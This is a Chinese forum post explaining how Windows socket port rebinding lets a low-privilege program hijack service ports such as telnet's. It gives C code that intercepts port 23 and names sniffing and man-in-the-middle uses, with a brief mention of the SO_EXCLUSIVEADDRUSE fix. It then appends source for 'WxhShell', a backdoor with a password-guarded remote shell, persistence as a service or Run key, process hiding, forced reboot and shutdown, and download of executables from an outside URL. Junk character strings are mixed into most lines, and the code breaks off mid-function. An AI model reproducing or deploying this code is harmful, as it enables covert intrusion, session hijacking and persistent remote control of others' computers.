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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \=3fO(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @;^7kt  
UW!*=?h  
  saddr.sin_family = AF_INET; o@o0V  
8`I/\8;H'p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `~~.0QC  
1[? xU:;9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U};~ff+  
"Uk "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )/32sz]~  
dfU z{  
  这意味着什么?意味着可以进行如下的攻击: =_\+6\_  
G7|CwzMg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W zKaLyM  
,PmQ}1kGW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `W& :*  
k&<cFZU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 be@\5  
\J)ffEKIp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A2C|YmHk  
3#d?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e*nT+Rp  
[ X7LV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +{eZ@  
mN!5JZ' 2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MfJs?N0  
@Czj] t`  
  #include .aA 8'/  
  #include ~7kIe+V  
  #include vt(A?$j|A  
  #include    1\hh,s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P&6hk6#  
  int main() Q&JnF`*  
  { U]8 @  
  WORD wVersionRequested; @c >a  
  DWORD ret; o?9k{  
  WSADATA wsaData; equ|v~@ y  
  BOOL val; r[u@ [  
  SOCKADDR_IN saddr; Nt>wzPd)  
  SOCKADDR_IN scaddr; sKIpL(_I$  
  int err; 7KB:wsz^  
  SOCKET s; bD: yu  
  SOCKET sc; 1@i 8ASL  
  int caddsize; U\<8}+x  
  HANDLE mt; &EZq%Sd  
  DWORD tid;   W7sx/O9  
  wVersionRequested = MAKEWORD( 2, 2 ); b*AL,n?  
  err = WSAStartup( wVersionRequested, &wsaData ); }3}{}w0Y  
  if ( err != 0 ) { }mhD2'E  
  printf("error!WSAStartup failed!\n"); J&vmW}&  
  return -1; A_:YpQ07@  
  } }@ +{;"  
  saddr.sin_family = AF_INET; W5&;PkhQ6  
   0EA<ip  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ; aI`4;  
$L@os2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z 8w&;Ls  
  saddr.sin_port = htons(23); MO1t 0Myc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ulqh}Uv'  
  { +!'rw D  
  printf("error!socket failed!\n"); /q3]AVV  
  return -1; eM>f#M  
  } v?9  
  val = TRUE;  e>FK5rz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UNc[h&@_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H&yK{0H  
  { ec$kcD!  
  printf("error!setsockopt failed!\n");  C0Oe$& _  
  return -1; t 7(#Cuv-  
  } dHAI4Yf4U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \nX5 $[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m4 :|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0\Q/$#3  
Z*M]AvO+#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fq-A vU  
  { McXid~  
  ret=GetLastError(); IM^K]$q$47  
  printf("error!bind failed!\n"); BB>R=kt  
  return -1; !_ng_,J  
  } YNRorE   
  listen(s,2); LKEf#mp  
  while(1) m\Xgvpv rP  
  { Vk#wJ-  
  caddsize = sizeof(scaddr); F$!K/Mm[  
  //接受连接请求 9q4%s?)j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O6P{+xj$  
  if(sc!=INVALID_SOCKET) oX;D|8 f  
  { App9um3:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Kgb 3>r  
  if(mt==NULL) ;I#f:UQ  
  { |k3^ eeLk  
  printf("Thread Creat Failed!\n"); `<3/k  
  break; @77%15_Jz  
  } IPIas$  
  } 7Zf * T  
  CloseHandle(mt);  4dd]Ju  
  } t:SME'~.P  
  closesocket(s); &' 0|U{|  
  WSACleanup(); d/m.VnW  
  return 0; AWXBk+  
  }   /c>@^  
  DWORD WINAPI ClientThread(LPVOID lpParam) =Eh~ wm  
  { sNF[-,a  
  SOCKET ss = (SOCKET)lpParam; Kc%GxD`  
  SOCKET sc; 3fb"1z#  
  unsigned char buf[4096]; sK&[sN33  
  SOCKADDR_IN saddr; u=U. +\f5  
  long num; |$)+h\h  
  DWORD val; `L. kyL  
  DWORD ret; LzS)WjEN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AwC"c '  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LXGlG  
  saddr.sin_family = AF_INET; _>k&,p]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lwzk<+>w^  
  saddr.sin_port = htons(23); +im>|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZbZCW:8>k  
  { zS6oz=  
  printf("error!socket failed!\n"); HZ+l){u  
  return -1; -/7[\S  
  } Pr!H>dH8o  
  val = 100; `E4+#_ v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q)$RE{*-  
  { 15 /lX  
  ret = GetLastError(); t}!Y}D  
  return -1; {zri6P+s  
  } pI>[^7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?Tr]zxtd  
  { .}O _5b(  
  ret = GetLastError(); VY@6!9G  
  return -1; l?UFe$9(  
  } 5g-AB`6T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A%zX LV=3O  
  { {tN?)~ZQ  
  printf("error!socket connect failed!\n"); WqHsf1? N  
  closesocket(sc); %+{[%?xh  
  closesocket(ss); N1vPY]8  
  return -1; }%@q; "9`  
  } dpTeF`N  
  while(1) d hp-XIA;  
  { 9Sy|:J0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (sfy14>\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -!C9x?gNY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V*C%r:5 ,v  
  num = recv(ss,buf,4096,0); }C<<l5/ z  
  if(num>0) !I8m(axW  
  send(sc,buf,num,0); v"LH^!/  
  else if(num==0) kw gsf5[  
  break; ^qro0]"LD  
  num = recv(sc,buf,4096,0); L2j7w006  
  if(num>0) >p[skN   
  send(ss,buf,num,0); lO>9Q]S<  
  else if(num==0) -fA1_ ?7S  
  break; DMcH, _(  
  } k-zkb2  
  closesocket(ss); ],3#[n[ m  
  closesocket(sc); C;EC4n+s  
  return 0 ; $ncJc  
  } ptlcG9d-  
A.%MrgOOX  
,?k~>,{3  
========================================================== 0<n*8t?A-  
wt(Hk6/B  
下边附上一个代码,,WXhSHELL hYI0S7{G  
1e'Ez4*  
========================================================== jk\04k  
:Nt_LsH  
#include "stdafx.h" \mIm}+!H  
L6ifT`;T  
#include <stdio.h> z^etH/]Sy  
#include <string.h> xeGl}q|  
#include <windows.h> (z:DTe  
#include <winsock2.h> ;L{#TC(]J]  
#include <winsvc.h> EW:tb-%`  
#include <urlmon.h> Wj}PtQ%lp/  
\uUd *  
#pragma comment (lib, "Ws2_32.lib") Q~y) V  
#pragma comment (lib, "urlmon.lib") &-h z&/A,  
>B~vE2^tQ~  
#define MAX_USER   100 // 最大客户端连接数 ?: XY3!{  
#define BUF_SOCK   200 // sock buffer A@o:mZ+XN(  
#define KEY_BUFF   255 // 输入 buffer 8=Z]?D=  
f-BEfC,}'  
#define REBOOT     0   // 重启 UgBD| ~zu  
#define SHUTDOWN   1   // 关机 @_L:W1[  
wyVQV8+&>  
#define DEF_PORT   5000 // 监听端口 A;'*>NS  
'ZUB:R@[  
#define REG_LEN     16   // 注册表键长度 p[J 8 r{'  
#define SVC_LEN     80   // NT服务名长度 VOY#Y*)g  
(=/%_jj  
// 从dll定义API }R\9y bv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l?rT_uO4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *Bj7\8cKC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nB+UxU@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p#  4@  
'/[9Xwh9  
// wxhshell配置信息 Shm$>\~=  
struct WSCFG { "+@>!U  
  int ws_port;         // 监听端口 iYE7BUH=  
  char ws_passstr[REG_LEN]; // 口令 Z6F^p8O-  
  int ws_autoins;       // 安装标记, 1=yes 0=no .R<Ke\y/  
  char ws_regname[REG_LEN]; // 注册表键名 &|% F=/VU  
  char ws_svcname[REG_LEN]; // 服务名 =/6rX"\P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YO3$I!(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wBbJ \  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s.8]qQRr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DJu&l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8!!iwmH{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z`9yGaTO  
,]\:]Y&?  
}; /;K?Y#mf~j  
VZRM=;V  
// default Wxhshell configuration  -l ?J  
struct WSCFG wscfg={DEF_PORT, <.l$jW]  
    "xuhuanlingzhe", aV6l"A]  
    1, ^UJ#YRzi  
    "Wxhshell", +=qazE<:0  
    "Wxhshell", :AzP3~BI  
            "WxhShell Service", 5YQq*$|'+  
    "Wrsky Windows CmdShell Service", , id`=L=  
    "Please Input Your Password: ", $:aKb#l)  
  1, DKzP)!B "  
  "http://www.wrsky.com/wxhshell.exe", 9W~3E^x  
  "Wxhshell.exe" &M6cCT]&M  
    }; |iJ+e -_R  
_&~y{;)S  
// 消息定义模块 ju@5D h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7LB#\2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u3Jsu=Nx-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -A\J:2a|  
char *msg_ws_ext="\n\rExit."; ~5f|L(ODX  
char *msg_ws_end="\n\rQuit."; ?pLKUAh  
char *msg_ws_boot="\n\rReboot..."; f7Dx.-  
char *msg_ws_poff="\n\rShutdown..."; NUclF|G  
char *msg_ws_down="\n\rSave to "; ua'dm6",:  
aJ"Tt>Y[.~  
char *msg_ws_err="\n\rErr!"; d_5wMK6O6  
char *msg_ws_ok="\n\rOK!"; <XfCQq/  
SLiQHWw*J  
char ExeFile[MAX_PATH]; 1Xv- e8M  
int nUser = 0; wF`9}9q  
HANDLE handles[MAX_USER]; hgz7dF  
int OsIsNt; i n^Rf` "  
bN#)F    
SERVICE_STATUS       serviceStatus; ]('isq,P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7;_./c_@  
& q(D90w.  
// 函数声明 4~G++|NQ  
int Install(void); 05<MsxB"w  
int Uninstall(void); nsq7,%5  
int DownloadFile(char *sURL, SOCKET wsh); ye9-%~sjX  
int Boot(int flag); 8-HMKD#V  
void HideProc(void); y3 {om^ f  
int GetOsVer(void); [y>;  
int Wxhshell(SOCKET wsl); tXocGM {6C  
void TalkWithClient(void *cs); O1nfz>L`  
int CmdShell(SOCKET sock); iG[an*#X  
int StartFromService(void); O?ZCX_R:L  
int StartWxhshell(LPSTR lpCmdLine); GlDl0P,*r  
NA,)FmQjk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0!n6tz lT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o <lS90J  
;UU+:~  
// 数据结构和表定义 r9/PmZo4x  
SERVICE_TABLE_ENTRY DispatchTable[] = nKFua l3  
{ \pzqUTk  
{wscfg.ws_svcname, NTServiceMain}, f1'NWec  
{NULL, NULL} i%+p\eeq*  
}; p5!=Ur&A c  
+G3&{#D ?  
// 自我安装 5o~;0K]  
int Install(void) #^- U|~,  
{ t` R#pQ  
  char svExeFile[MAX_PATH]; F3\'WQh  
  HKEY key; 5PPV`7Xm9  
  strcpy(svExeFile,ExeFile); VP$`.y  
qbjLTE=  
// 如果是win9x系统,修改注册表设为自启动 CQo<}}-o  
if(!OsIsNt) { :[iWl8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?~e 8:/@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /?%zNkcxu  
  RegCloseKey(key); r/E;tm [\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F/\w4T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D>u1ngu  
  RegCloseKey(key); EKsL0;FV  
  return 0; ST3aiyG  
    } `<Xq@\H  
  } #`5{?2gS9  
} lzz rzx^  
else { `1F[.DdF  
>&mlwxqv  
// 如果是NT以上系统,安装为系统服务 cB U,!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iN0gvjZ  
if (schSCManager!=0) ]Cpd`}'  
{ MP\$_;&xB  
  SC_HANDLE schService = CreateService I"4j152P|  
  ( CUgXpU*  
  schSCManager, &Avd  
  wscfg.ws_svcname, SF2A?L?}+  
  wscfg.ws_svcdisp, jk2h"):B>  
  SERVICE_ALL_ACCESS, N\?%944R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TTaSg\K  
  SERVICE_AUTO_START, >s}b q#x  
  SERVICE_ERROR_NORMAL, > $0eRVL  
  svExeFile, L;=:OX 0  
  NULL, [H5TtsQ[  
  NULL, 4]jN@@  
  NULL, B5>h@p-UV  
  NULL, U`_(Lq%5W  
  NULL F23/|q{{  
  ); 4:-h\%  
  if (schService!=0) _4iTP$7[  
  { A-e#&pJ  
  CloseServiceHandle(schService); hc}d S$=C  
  CloseServiceHandle(schSCManager); d:C-   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qhb].V{utV  
  strcat(svExeFile,wscfg.ws_svcname); $e#p -z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0lR/6CB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A6Ttx{]  
  RegCloseKey(key); 8jW{0&ox)  
  return 0; :Xc%_&)  
    } ri&B%AAc  
  } WJBi#(SY  
  CloseServiceHandle(schSCManager); WmTSxneo  
} DytH } U"  
} 6r/NdI  
;:Q 5?zM  
return 1; I#QBJ#  
} =vLeOX  
4jefU}e9#  
// 自我卸载 bFk >IifN  
int Uninstall(void) ,<*n>W4|  
{ Qi`Lj5;\F  
  HKEY key; #4"(M9kf  
.C(Ir  
if(!OsIsNt) { ~TwjcI*/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tjc3;9  
  RegDeleteValue(key,wscfg.ws_regname); P]:r'^Yn  
  RegCloseKey(key); 44 ,:@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mxsmW  
  RegDeleteValue(key,wscfg.ws_regname); +c5z-X$^]  
  RegCloseKey(key); <wUDcF  
  return 0; }N^.4HOS8  
  } h}fz`ti U  
} d)F~)}TFM  
} & .VciSq6  
else { !a?$  
rLO1Sv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H%NIdgo}  
if (schSCManager!=0) w1B!z  
{ rlr)n\R#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1 zIFQ@  
  if (schService!=0) 3Z#k9c_b  
  { Gqq%q!k&1  
  if(DeleteService(schService)!=0) { x>vC;E${"  
  CloseServiceHandle(schService); HbQ `b  
  CloseServiceHandle(schSCManager); D+?/MrP  
  return 0; -L@4da[]i  
  } 89T xd9X  
  CloseServiceHandle(schService); n{JBC%^g  
  } asqbLtQ  
  CloseServiceHandle(schSCManager); . (G9mZFV  
} P3X;&iT  
} % LeG.~?  
gV@FT|j!i  
return 1; /NfuR$oMd  
} S0( ).2#  
(UWWULV  
// 从指定url下载文件 6Mu_9UAl`  
int DownloadFile(char *sURL, SOCKET wsh) sFv68Ag+  
{ 0dxEV]  
  HRESULT hr; &}:'YK*X  
char seps[]= "/"; o))z8n?b  
char *token; /H.w0fu&.S  
char *file; %+gYZv-  
char myURL[MAX_PATH]; i]&C=X  
char myFILE[MAX_PATH]; +bpUb0.W  
C3q}Dh+]  
strcpy(myURL,sURL); U;QTA8|!&  
  token=strtok(myURL,seps); dbM~41C6  
  while(token!=NULL) ssaEAm:  
  { Ji4xor  
    file=token; Cw7 07  
  token=strtok(NULL,seps); jMv qKJ(<  
  } -|;{/ s5  
-xs @rV`  
GetCurrentDirectory(MAX_PATH,myFILE); q5C(/@)^  
strcat(myFILE, "\\"); 0Oy.&C T  
strcat(myFILE, file); |Iei!jm  
  send(wsh,myFILE,strlen(myFILE),0); o %GVg  
send(wsh,"...",3,0); 2F* spu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B].V|8h  
  if(hr==S_OK) nmI os]B  
return 0; buV {O[  
else pQv`fr=  
return 1; ]DVZeI03@  
Qj;wk lq  
} !9A6DWAE$  
`-@8IZ7  
// 系统电源模块 j}9][Fm1*  
int Boot(int flag) ;e,_F/@`  
{ to9~l"n.s  
  HANDLE hToken; y4sKe:@2  
  TOKEN_PRIVILEGES tkp; 4WCWu}  
%N5gQXg  
  if(OsIsNt) { *_feD+rq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iF]G$@rbU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;75m 9yGo  
    tkp.PrivilegeCount = 1; &b :u~puM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A|jmp~@K)+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h r@c7/L  
if(flag==REBOOT) { Hq<Sg4nz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ogD 8qrZ6J  
  return 0; a)L\+$@*  
} D{'>G@nLQ  
else { iCd$gwA>F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GD(gm, ,)  
  return 0; K4w %XVaH  
} kyV!ATL1F  
  } %[3?vX  
  else { 2ed4xh V  
if(flag==REBOOT) { T''PzY!Qf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O*qSc^9q  
  return 0; 7 2Zp%a=  
} ? 2#tIND  
else { W^U6O&-K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r.-U=ql  
  return 0; Sr$&]R]^  
} j%w}hGW%,  
} =yT3#A~<G  
C1V:_-  
return 1; (i3V  
} ]IF QD  
B!PT|  
// win9x进程隐藏模块 SynL%Y9)|,  
void HideProc(void) XSfl'Fll D  
{ *:r6E  
u/s,#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z}X oWT2f  
  if ( hKernel != NULL ) fRcs@yZnS  
  { ;JpsRf!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L>trLD1pt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )># Y,/q  
    FreeLibrary(hKernel); QaVxP1V#U  
  } blVt:XS{,m  
<R;t>~8x  
return; rnOg;|u8  
} K^z u{`S  
1\t#*N  
// 获取操作系统版本 4z;@1nN_8a  
int GetOsVer(void) ?'xwr )v  
{ -(oFO'Lbg  
  OSVERSIONINFO winfo; o$4i{BL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uT Z#85L `  
  GetVersionEx(&winfo); MBIlt 1P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hRU5CH/!  
  return 1; 5%6{ ePh{  
  else |>'.(  
  return 0; $ [t7&e  
} L2 ybL#dz  
c>$PLO^  
// 客户端句柄模块 1WP(=7$.  
int Wxhshell(SOCKET wsl) `GpOS_;  
{ H^d2|E[D  
  SOCKET wsh; nt:d,H<p  
  struct sockaddr_in client; &s{" Vc9]  
  DWORD myID; #F^0uUjq  
15l{gbCW  
  while(nUser<MAX_USER) QjIn0MJ)Xm  
{ \jpm   
  int nSize=sizeof(client); xHpB/P~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~+)sL1lx  
  if(wsh==INVALID_SOCKET) return 1;  ob_*fP  
NZQl#ZJH:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (DnrJ.QU}t  
if(handles[nUser]==0) >^Z==1  
  closesocket(wsh); v<AFcY   
else J$>9UC k7B  
  nUser++; c$fYK  
  } u}0U!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V4CL% i  
}od5kK;  
  return 0; + t JEG:  
} xm*6I  
sQ aP:@  
// 关闭 socket Uaz$<K6  
void CloseIt(SOCKET wsh) ;%<R>gDWv  
{ 0Q{^BgW  
closesocket(wsh); = lMs1}S9  
nUser--; (X?et &  
ExitThread(0); '2:HBJ  
} *p.70,5,  
INF}~DN]  
// 客户端请求句柄 zf.&E3Sn  
void TalkWithClient(void *cs) $gPR3*0  
{ ~a06x^=j  
9k*1_  
  SOCKET wsh=(SOCKET)cs; sIz*r Gz  
  char pwd[SVC_LEN]; tg"NWp6  
  char cmd[KEY_BUFF]; yk0#byW`  
char chr[1]; ;hZ^zL  
int i,j; ^77X?nDz=h  
u d$*/ )/  
  while (nUser < MAX_USER) { Z~6PrM-M  
48g`i  
if(wscfg.ws_passstr) { )Q5ja}-{V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AD@-H0Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h 7  c  
  //ZeroMemory(pwd,KEY_BUFF); $/|2d4O:{  
      i=0; PlC8&$   
  while(i<SVC_LEN) { 3aERfIJyE  
)mh,F# "L  
  // 设置超时 ]S0sjN  
  fd_set FdRead; )ad6>Y  
  struct timeval TimeOut; f~Ve7   
  FD_ZERO(&FdRead); x~n]r[!L  
  FD_SET(wsh,&FdRead); (>M@Ukam:  
  TimeOut.tv_sec=8; bU{lV<R,  
  TimeOut.tv_usec=0; IRY/0v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  .H7xG'$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F&)(G\  
~7O.}RP0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MgrJ ;?L  
  pwd=chr[0]; B nu5\P  
  if(chr[0]==0xd || chr[0]==0xa) { )^[PW&=W|x  
  pwd=0; =q"o%dc`R  
  break; _d*QA{  
  } :#nv:~2]  
  i++; PsOu:`=r  
    } h%+6 y  
O]-s(8Oo3  
  // 如果是非法用户,关闭 socket x!;;;iS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $Y=xu2u)  
} 5"^Z7+6  
[e?vqm .  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y#?AW`|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6[S-%|f  
|L%d^m  
while(1) { z3C@0v=u>  
}e8u p*#me  
  ZeroMemory(cmd,KEY_BUFF); Mx_O'D  
54>gr1B  
      // 自动支持客户端 telnet标准   z z2'h>  
  j=0; WOR H4h9  
  while(j<KEY_BUFF) { wpV)y Q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;T\'|[bY   
  cmd[j]=chr[0]; Vohd d_x  
  if(chr[0]==0xa || chr[0]==0xd) { xt=ELzu$  
  cmd[j]=0; V 2/?1  
  break;  K>S:Z  
  } Rw]lW;EN<  
  j++; :7DXLI|L#?  
    } CoTe$C7  
|\6Ff/O  
  // 下载文件 DQyy">]Mh  
  if(strstr(cmd,"http://")) { df@G+v0_1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); atYe$Db  
  if(DownloadFile(cmd,wsh)) m=Fk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XTS%:S  
  else /;9iDjG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-6zQs   
  } ]^BgSC  
  else { &N|`Q (QXS  
{"n=t`E)3  
    switch(cmd[0]) { &KP JB"0L  
  3Sl2c  
  // 帮助 R,f"2 k  
  case '?': { ,!Q^"aOT:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j@C*kj;-  
    break; b5t:" >wC  
  } )L/o|%r!  
  // 安装 o~tL;(sz  
  case 'i': { &p_V<\(%  
    if(Install()) Ew>lk9La(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $4u8"ne)  
    else }&Kl)2:O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJUXIV>z  
    break; 8XhGo2zf  
    } y_}jf,b4  
  // 卸载 <MzXTy3\  
  case 'r': { /& wA$h  
    if(Uninstall()) L6n<h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +p):   
    else <EM'|IR?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2{I+H'w8:  
    break; }KFM8CbS  
    } g ^4<ve  
  // 显示 wxhshell 所在路径 {1m.d;(1  
  case 'p': { XO,gEn&6V  
    char svExeFile[MAX_PATH]; tA{?-5  
    strcpy(svExeFile,"\n\r"); xXfFi5Eom  
      strcat(svExeFile,ExeFile); zot_ jSV  
        send(wsh,svExeFile,strlen(svExeFile),0); $Fik]TbQp  
    break; ,Uu#41ZOKL  
    } 6):iu=/i/  
  // 重启 q~G@S2=}0}  
  case 'b': { 1rGi"kdf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %IH ra6  
    if(Boot(REBOOT)) 3U&r K)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bl*.N9*  
    else { m 7/b.B}  
    closesocket(wsh); ^;mnP=`l[  
    ExitThread(0); mt*/%>@7R  
    } G[ gfD\  
    break; w .+B h  
    } |jJ9dTD8/  
  // 关机 r"W,G /;h  
  case 'd': { aa,^+^J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dO|n[/qL0  
    if(Boot(SHUTDOWN)) |nT+ W| 0U  
